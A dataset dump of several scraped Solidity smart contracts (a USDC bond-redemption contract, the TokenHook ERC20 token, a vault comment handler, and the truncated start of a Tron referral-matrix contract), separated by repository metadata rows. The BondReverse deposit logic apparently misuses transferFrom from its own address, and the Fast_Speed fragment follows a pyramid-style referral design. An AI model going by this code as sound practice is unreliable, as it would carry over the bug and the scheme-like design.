63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/ef/Ef1a212E0A0E1C0512006DB896652789425c4281_BondReverse.sol
| 3,064 | 12,313 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from,
address to,
uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address from,
address to,
uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner,
address spender,
uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
abstract contract Pausable is Context {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor() {
_paused = false;
}
function paused() public view virtual returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
abstract contract ERC20Burnable is Context, ERC20 {
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
_spendAllowance(account, _msgSender(), amount);
_burn(account, amount);
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library Roles {
struct Role {
mapping(address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
role.bearer[account] = false;
}
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
contract ManagerRole {
using Roles for Roles.Role;
event ManagerAdded(address indexed account);
event ManagerRemoved(address indexed account);
Roles.Role private managers;
constructor() {
_addManager(msg.sender);
}
modifier onlyManager() {
require(isManager(msg.sender));
_;
}
function isManager(address account) public view returns (bool) {
return managers.has(account);
}
function addManager(address account) public onlyManager {
_addManager(account);
}
function renounceManager() public {
_removeManager(msg.sender);
}
function _addManager(address account) internal {
managers.add(account);
emit ManagerAdded(account);
}
function _removeManager(address account) internal {
managers.remove(account);
emit ManagerRemoved(account);
}
}
contract BondReverse is ManagerRole, Ownable, Pausable {
ERC20Burnable public immutable dYelToken;
ERC20 public immutable USDC;
address public ownerA8 = 0x5F8ec4d7ED8F9E3Fa4219796551271579F7e0029;
uint256 public percent = 10; // uses for checking price difference
uint256 public percentPenalty = 10; // 5% = 5000
uint256 public currentPrice;
uint256 public minDepositAmount;
constructor (address _token, address _USDC) {
require(_token != address(0), "BondReverse: Token address can not be zero");
dYelToken = ERC20Burnable(_token);
USDC = ERC20(_USDC);
currentPrice = 10000 * 1e6; // decimals of usdc token
minDepositAmount = 1e11; // 0,0000001 dYel
}
function deposit(uint256 _amount) external whenNotPaused {
require(_amount != 0, "BondReverse: The amount of tokens can not be zero");
// sender have to approve his tokens
dYelToken.burnFrom(msg.sender, _amount);
// ua = userAmount, oa = _ownerAmount
(uint256 ua, uint256 oa) = valueOfDYEL(_amount);
USDC.transferFrom(address(this), ownerA8, oa);
USDC.transferFrom(address(this), msg.sender, ua);
}
function withdrawUSDC(uint256 _amount, address _address) external onlyOwner {
USDC.transferFrom(address(this), _address, _amount);
}
function setPriceInUSDC(uint256 _price) external onlyManager {
require(returnPercentPrice(_price) > percent, "BondReverse: The price difference is more then previous");
currentPrice = _price;
}
function setMinDeposit(uint256 _newMinAmount) external onlyOwner {
require(_newMinAmount > 0, "BondReverse: The _newMinAmount can not be zero");
minDepositAmount = _newMinAmount;
}
function returnPercentPrice(uint256 _newPrice) view public returns (uint256 _percentDelta) {
require(_newPrice != currentPrice, "BondReverse: The price are the same");
uint256 _percentTotal = (_newPrice * 100) / currentPrice;
if(_newPrice > currentPrice) {
_percentDelta = _percentTotal - 100;
} else {
_percentDelta = 100 - _percentTotal;
}
}
function valueOfDYEL(uint256 _dYelAmount) public view returns (uint256 _userAmount, uint256 _ownerAmount) {
require(_dYelAmount > minDepositAmount, "BondReverse: amount of dYel token must is too low");
uint256 _totalAmountUSDC = _dYelAmount * currentPrice / 1e18;
uint256 _penaltyAmount = _totalAmountUSDC * percentPenalty / 100;
_userAmount = _totalAmountUSDC - _penaltyAmount;
_ownerAmount = _penaltyAmount / 2;
}
receive() external payable onlyOwner {}
}
| 327,056 | 631 |
67fdb1d766710840acb33a99acd0e2a0d2eaf2c641584c93e20215a3e9441460
| 13,470 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0xc9109587a84522508e432daf4e1c5d64893dc182.sol
| 2,987 | 13,213 |
pragma solidity 0.5.11;
interface IERC20 {
function transfer(address to, uint256 tokens) external returns (bool);
function approve(address spender, uint256 tokens) external returns (bool);
function transferFrom(address from, address to, uint256 tokens) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address account, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256; /// Attach SafeMath functions with uint256 to mitigate integer overflow
string public constant name = "TokenHook"; /// Token name
string public constant symbol = "THK"; /// Token symbol
uint8 public constant decimals = 18; /// Divisible to 18 decimal places
address payable private owner; /// Token owner
uint256 public exchangeRate = 100; /// 100 tokens per 1ETH, default exchange rate
uint256 private initialSupply = 200e6; /// Controls economy of the token by limiting initial supply to 200M
bool private locked; /// Mutex variable to mitigate re-entrancy attack
bool private paused; /// Boolean variable to support Fail-Safe mode
mapping(address => mapping (address => uint256)) private allowances; /// Allowed token to transfer by spenders
mapping(address => mapping (address => uint256)) private transferred; /// Transferred tokens by spenders
mapping(address => uint256) public balances; /// Balance of token holders
constructor(uint256 supply) public {
owner = msg.sender; /// Owner of the token
initialSupply = (supply != 0) ? supply : /// Initialize token supply
initialSupply.mul(10 ** uint256(decimals)); /// With 18 zero
balances[owner] = initialSupply; /// Owner gets all initial tokens
emit Transfer(address(0), owner, initialSupply); /// Logs transferred tokens to the owner
}
function() external payable{
emit Received(msg.sender, msg.value); /// Logs received ETH
}
function transfer(address to, uint256 tokens) external notPaused validAddress(to) noReentrancy returns (bool success) {
require(balances[msg.sender] >= tokens, "Not enough balance"); /// Checks the sender's balance
require(balances[to].add(tokens) >= balances[to], "Overflow error"); /// Checks overflows
balances[msg.sender] = balances[msg.sender].sub(tokens); /// Subtracts from the sender
balances[to] = balances[to].add(tokens); /// Adds to the recipient
emit Transfer(msg.sender, to, tokens); /// Logs transferred tokens
return true;
}
function transferFrom(address from, address to, uint256 tokens) external notPaused validAddress(to) noReentrancy returns (bool success) {
require(balances[from] >= tokens, "Not enough tokens"); /// Checks the sender's balance
require(tokens <= (/// Prevent token transfer more than allowed
(allowances[from][msg.sender] > transferred[from][msg.sender]) ?
allowances[from][msg.sender].sub(transferred[from][msg.sender]) : 0)
, "Transfer more than allowed");
balances[from] = balances[from].sub(tokens); /// Decreases balance of approver
balances[to] = balances[to].add(tokens); /// Increases balance of spender
transferred[from][msg.sender] = transferred[from][msg.sender].add(tokens); /// Tracks transferred tokens
emit Transfer(from, to, tokens); /// Logs transferred tokens
return true;
}
function approve(address spender, uint256 tokens) external notPaused validAddress(spender) noReentrancy returns (bool success) {
require(spender != msg.sender, "Approver is spender"); /// Spender cannot approve himself
require(balances[msg.sender] >= tokens, "Not enough balance"); /// Checks the approver's balance
allowances[msg.sender][spender] = tokens; /// Sets allowance of the spender
emit Approval(msg.sender, spender, tokens); /// Logs approved tokens
return true;
}
function increaseAllowance(address spender, uint256 addedTokens) external notPaused validAddress(spender) noReentrancy returns (bool success) {
require(balances[msg.sender] >= addedTokens, "Not enough token"); /// Checks the approver's balance
allowances[msg.sender][spender] = allowances[msg.sender][spender].add(addedTokens); /// Adds allowance of the spender
emit Approval(msg.sender, spender, addedTokens); /// Logs approved tokens
return true;
}
function decreaseAllowance(address spender, uint256 subtractedTokens) external notPaused validAddress(spender) noReentrancy returns (bool success) {
require(allowances[msg.sender][spender] >= subtractedTokens, "Not enough token"); /// Checks the spenders's allowance
allowances[msg.sender][spender] = allowances[msg.sender][spender].sub(subtractedTokens);/// Adds allowance of the spender
emit Approval(msg.sender, spender, subtractedTokens); /// Logs approved tokens
return true;
}
function sell(uint256 tokens) external notPaused noReentrancy returns(bool success)
{
require(tokens > 0, "No token to sell"); /// Selling zero token is not allowed
require(balances[msg.sender] >= tokens, "Not enough token"); /// Checks the seller's balance
uint256 _wei = tokens.div(exchangeRate); /// Calculates equivalent of tokens in Wei
require(address(this).balance >= _wei, "Not enough wei"); /// Checks the contract's ETH balance
balances[msg.sender] = balances[msg.sender].sub(tokens); /// Decreases tokens of seller
balances[owner] = balances[owner].add(tokens); /// Increases tokens of owner
emit Sell(msg.sender, tokens, address(this), _wei, owner); /// Logs sell event
(success,) = msg.sender.call.value(_wei)(""); /// Transfers Wei to the seller
require(success, "Ether transfer failed"); /// Checks successful transfer
}
function buy() external payable notPaused noReentrancy returns(bool success){
require(msg.sender != owner, "Called by the Owner"); /// The owner cannot be seller/buyer
uint256 _tokens = msg.value.mul(exchangeRate); /// Calculates token equivalents
require(balances[owner] >= _tokens, "Not enough tokens"); /// Checks owner's balance
balances[msg.sender] = balances[msg.sender].add(_tokens); /// Increases token balance of buyer
balances[owner] = balances[owner].sub(_tokens); /// Decreases token balance of owner
emit Buy(msg.sender, msg.value, owner, _tokens); /// Logs Buy event
return true;
}
function withdraw(uint256 amount) external onlyOwner returns(bool success){
require(address(this).balance >= amount, "Not enough fund"); /// Checks the contract's ETH balance
emit Withdrawal(msg.sender, address(this), amount); /// Logs withdrawal event
(success,) = msg.sender.call.value(amount)(""); /// Transfers amount (EIP-1884 compatible)
require(success, "Ether transfer failed"); /// Checks successful transfer
}
function mint(uint256 newTokens) external onlyOwner {
initialSupply = initialSupply.add(newTokens); /// Increases token supply
balances[owner] = balances[owner].add(newTokens); /// Increases balance of the owner
emit Mint(msg.sender, newTokens); /// Logs Mint event
}
function burn(uint256 tokens) external onlyOwner {
require(balances[owner] >= tokens, "Not enough tokens"); /// Checks owner's balance
balances[owner] = balances[owner].sub(tokens); /// Decreases balance of the owner
initialSupply = initialSupply.sub(tokens); /// Decreases token supply
emit Burn(msg.sender, tokens); /// Logs Burn event
}
function setExchangeRate(uint256 newRate) external onlyOwner returns(bool success)
{
uint256 _currentRate = exchangeRate;
exchangeRate = newRate; /// Sets new exchange rate
emit Change(_currentRate, exchangeRate); /// Logs Change event
return true;
}
function changeOwner(address payable newOwner) external onlyOwner validAddress(newOwner) {
address _current = owner;
owner = newOwner;
emit ChangeOwner(_current, owner);
}
function pause() external onlyOwner {
paused = true;
emit Pause(msg.sender, paused);
}
function unpause() external onlyOwner {
paused = false;
emit Pause(msg.sender, paused);
}
function totalSupply() external view returns (uint256 tokens) {
return initialSupply; /// Total supply of the token.
}
function balanceOf(address tokenHolder) external view returns (uint256 tokens) {
return balances[tokenHolder]; /// Balance of token holder.
}
function allowance(address tokenHolder, address spender) external view notPaused returns (uint256 tokens) {
uint256 _transferred = transferred[tokenHolder][spender]; /// Already transferred tokens by `spender`.
return allowances[tokenHolder][spender].sub(_transferred); /// Remained tokens to transfer by `spender`.
}
function transfers(address tokenHolder, address spender) external view notPaused returns (uint256 tokens) {
return transferred[tokenHolder][spender]; /// Transfers by `spender` (approved by `tokenHolder`).
}
modifier onlyOwner() {
require(msg.sender == owner, "Not the owner");
_;
}
modifier validAddress(address addr){
require(addr != address(0x0), "Zero address");
require(addr != address(this), "Contract address");
_;
}
modifier noReentrancy()
{
require(!locked, "Reentrant call");
locked = true;
_;
locked = false;
}
modifier notPaused()
{
require(!paused, "Fail-Safe mode");
_;
}
event Buy(address indexed _buyer, uint256 _wei, address indexed _owner, uint256 _tokens);
event Sell(address indexed _seller, uint256 _tokens, address indexed _contract, uint256 _wei, address indexed _owner);
event Received(address indexed _sender, uint256 _wei);
event Withdrawal(address indexed _by, address indexed _contract, uint256 _wei);
event Change(uint256 _current, uint256 _new);
event ChangeOwner(address indexed _current, address indexed _new);
event Pause(address indexed _owner, bool _state);
event Mint(address indexed _owner, uint256 _tokens);
event Burn(address indexed _owner, uint256 _tokens);
}
| 276,878 | 632 |
2e524e34ce65aa59267533e7e3d277f005cb2544262c1bf63e4ead7e5b63e813
| 28,505 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/8e/8e834eeb108acddb4aa2698a45689114c92c213d_OpenVaultHandler.sol
| 3,881 | 16,279 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
_nonReentrantBefore();
_;
_nonReentrantAfter();
}
function _nonReentrantBefore() private {
// On the first call to nonReentrant, _status will be _NOT_ENTERED
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
}
function _nonReentrantAfter() private {
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
function _reentrancyGuardEntered() internal view returns (bool) {
return _status == _ENTERED;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function verifyCallResultFromTarget(address target,
bool success,
bytes memory returndata,
string memory errorMessage) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
interface IERC20Permit {
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
function nonces(address owner) external view returns (uint256);
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function safePermit(IERC20Permit token,
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) internal {
uint256 nonceBefore = token.nonces(owner);
token.permit(owner, spender, value, deadline, v, r, s);
uint256 nonceAfter = token.nonces(owner);
require(nonceAfter == nonceBefore + 1, "SafeERC20: permit did not succeed");
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IStrategy {
function vault() external view returns (address);
function strategist() external view returns (address);
function maxFee() external view returns (uint256);
function strategistFee() external view returns (uint256);
function harvesterFee() external view returns (uint256);
function stakerFee() external view returns (uint256);
function want() external view returns (IERC20);
function chef() external view returns (address);
function poolId() external view returns (uint256);
function rewardsToNative() external view returns (address[][] memory);
function nativeToToken0() external view returns (address[] memory);
function nativeToToken1() external view returns (address[] memory);
function deposit() external;
function withdraw(uint256) external;
function balanceOf() external view returns (uint256);
function balanceOfWant() external view returns (uint256);
function balanceOfPool() external view returns (uint256);
function harvest() external;
function router() external view returns (address);
}
interface IVault {
function strategy() external view returns (address);
function active() external view returns (bool);
}
contract OpenVaultHandler is ReentrancyGuard {
using SafeERC20 for IERC20;
// Current vaultId index
uint256 public vaultId = 0;
// All vaults by their vaultId
mapping(uint256 => Vault) public vaults;
// All vaultInfos by their vaultId
mapping(uint256 => VaultInfo) public vaultInfo;
// Check to see if vault is already added
mapping(address => bool) public addedVaults;
// Current commentId index
uint256 public commentId = 0;
// All vault comments by commentId
mapping(uint256 => Comment) public comments;
// current replyId index
uint256 public replyId = 0;
// All replies by replyId
mapping(uint256 => Reply) public replies;
struct Vault {
uint256 vaultId;
address vault;
address strategy;
address want;
address strategist;
bytes description;
Fees fees;
}
struct Fees {
uint256 maxFee;
uint256 strategistFee;
uint256 harvesterFee;
// uint256 stakerFee;
}
// Struct to manage likes, dislikes, and comments on vaults
struct VaultInfo {
uint256 vaultId;
uint256 vaultLikes;
uint256 vaultDislikes;
uint256 totalCommentary;
}
// Struct to manage comments on vaults
struct Comment {
uint256 vaultId;
uint256 commentId;
bytes comment;
uint256 commentLikes;
uint256 commentDislikes;
}
// Struct to manage replies to comments
struct Reply {
uint256 vaultId;
uint256 commentId;
uint256 replyId;
bytes reply;
uint256 replyLikes;
uint256 replyDislikes;
}
// ******* MUTATIVE FUNCTIONS ***********
function addVault(address _vault) external returns (bool) {
IVault vault = IVault(_vault);
require(vault.active() == true, "vault not active");
require(addedVaults[_vault] == false, "already added");
address _strategy = vault.strategy();
IStrategy strategy = IStrategy(_strategy);
address want = address(strategy.want());
address strategist = strategy.strategist();
uint256 maxFee = strategy.maxFee();
uint256 strategistFee = strategy.strategistFee();
uint256 harvesterFee = strategy.harvesterFee();
// uint256 stakerFee = strategy.stakerFee();
Fees memory _fees = Fees(maxFee,
strategistFee,
harvesterFee
// stakerFee);
Vault memory __vault = Vault(vaultId, // vaultId
_vault,
_strategy, // strategy address
want, // want
strategist, // strategist
"",
_fees);
VaultInfo memory info;
info.vaultId = vaultId;
vaults[vaultId] = __vault;
vaultInfo[vaultId] = info;
vaultId++;
return true;
}
function addDescription(uint256 _vaultId, string memory description) external {
Vault storage vault = vaults[_vaultId];
require(msg.sender == vault.strategist, "Not strategist");
vault.description = bytes(description);
}
function likeVault(uint256 _vaultId) external {
vaultInfo[_vaultId].vaultLikes++;
}
function dislikeVault(uint256 _vaultId) external {
vaultInfo[_vaultId].vaultDislikes++;
}
function makeComment(uint256 _vaultId, string memory _comment) external {
Comment memory comment = Comment(_vaultId,
commentId,
bytes(_comment),
0,
0);
comments[commentId] = comment;
commentId++;
vaultInfo[_vaultId].totalCommentary++;
}
function likeComment(uint256 _commentId) external {
Comment storage comment = comments[_commentId];
comment.commentLikes++;
}
function dislikeComment(uint256 _commentId) external {
Comment storage comment = comments[_commentId];
comment.commentDislikes++;
}
function makeReply(uint256 _commentId, string memory _reply) external {
uint256 _vaultId = comments[_commentId].vaultId;
Reply memory reply = Reply(_vaultId,
_commentId,
replyId,
bytes(_reply),
0,
0);
replies[replyId] = reply;
replyId++;
vaultInfo[_vaultId].totalCommentary++;
}
function likeReply(uint256 _replyId) external {
Reply storage reply = replies[_replyId];
reply.replyLikes++;
}
function dislikeReply(uint256 _replyId) external {
Reply storage reply = replies[_replyId];
reply.replyDislikes++;
}
// ******* VIEWS *************
// function balance(uint256 _vaultId) public view returns (uint) {
// return want().balanceOf(address(this)).add(IStrategy(strategy).balanceOf());
// }
function readDescription(uint256 _vaultId) external view returns (string memory) {
Vault storage vault = vaults[_vaultId];
return string(vault.description);
}
function readComment(uint256 _commentId) external view returns (string memory) {
Comment storage comment = comments[_commentId];
return string(comment.comment);
}
function readReply(uint256 _replyId) external view returns (string memory) {
Reply storage reply = replies[_replyId];
return string(reply.reply);
}
}
| 326,665 | 633 |
7dab4ec4121a25740b6d58dfb4dae6a5bcdcd1e22ba9acb47fd6112b56f2a42f
| 23,994 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TC/TCMqnEpJt95zDepCvDCZXJJBZjwumZ8xBP_Fast_Speed.sol
| 6,018 | 22,996 |
//SourceUnit: Fast_Speed.sol
pragma solidity >=0.4.23 <0.6.0;
contract XGOLD {
function deposit(address sender, address referrer) public payable;
}
contract Fast_Speed {
struct User {
uint id;
address referrer;
uint partnersCount;
mapping(uint8 => bool) activeX3Levels;
mapping(uint8 => bool) activeX6Levels;
mapping(uint8 => X3) x3Matrix;
mapping(uint8 => X6) x6Matrix;
}
struct X3 {
address currentReferrer;
address[] referrals;
bool blocked;
uint reinvestCount;
}
struct X6 {
address currentReferrer;
address[] firstLevelReferrals;
address[] secondLevelReferrals;
bool blocked;
uint reinvestCount;
address closedPart;
}
uint8 public currentStartingLevel = 1;
uint8 public constant LAST_LEVEL = 15;
mapping(address => User) public users;
mapping(uint => address) public idToAddress;
uint public lastUserId = 2;
address public owner;
mapping(uint8 => uint) public levelPrice;
XGOLD public xGOLD;
event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId);
event Reinvest(address indexed user, address indexed currentReferrer, address indexed caller, uint8 matrix, uint8 level, uint reinvestCount);
event Upgrade(address indexed user, address indexed referrer, uint8 matrix, uint8 level, uint reinvestCount);
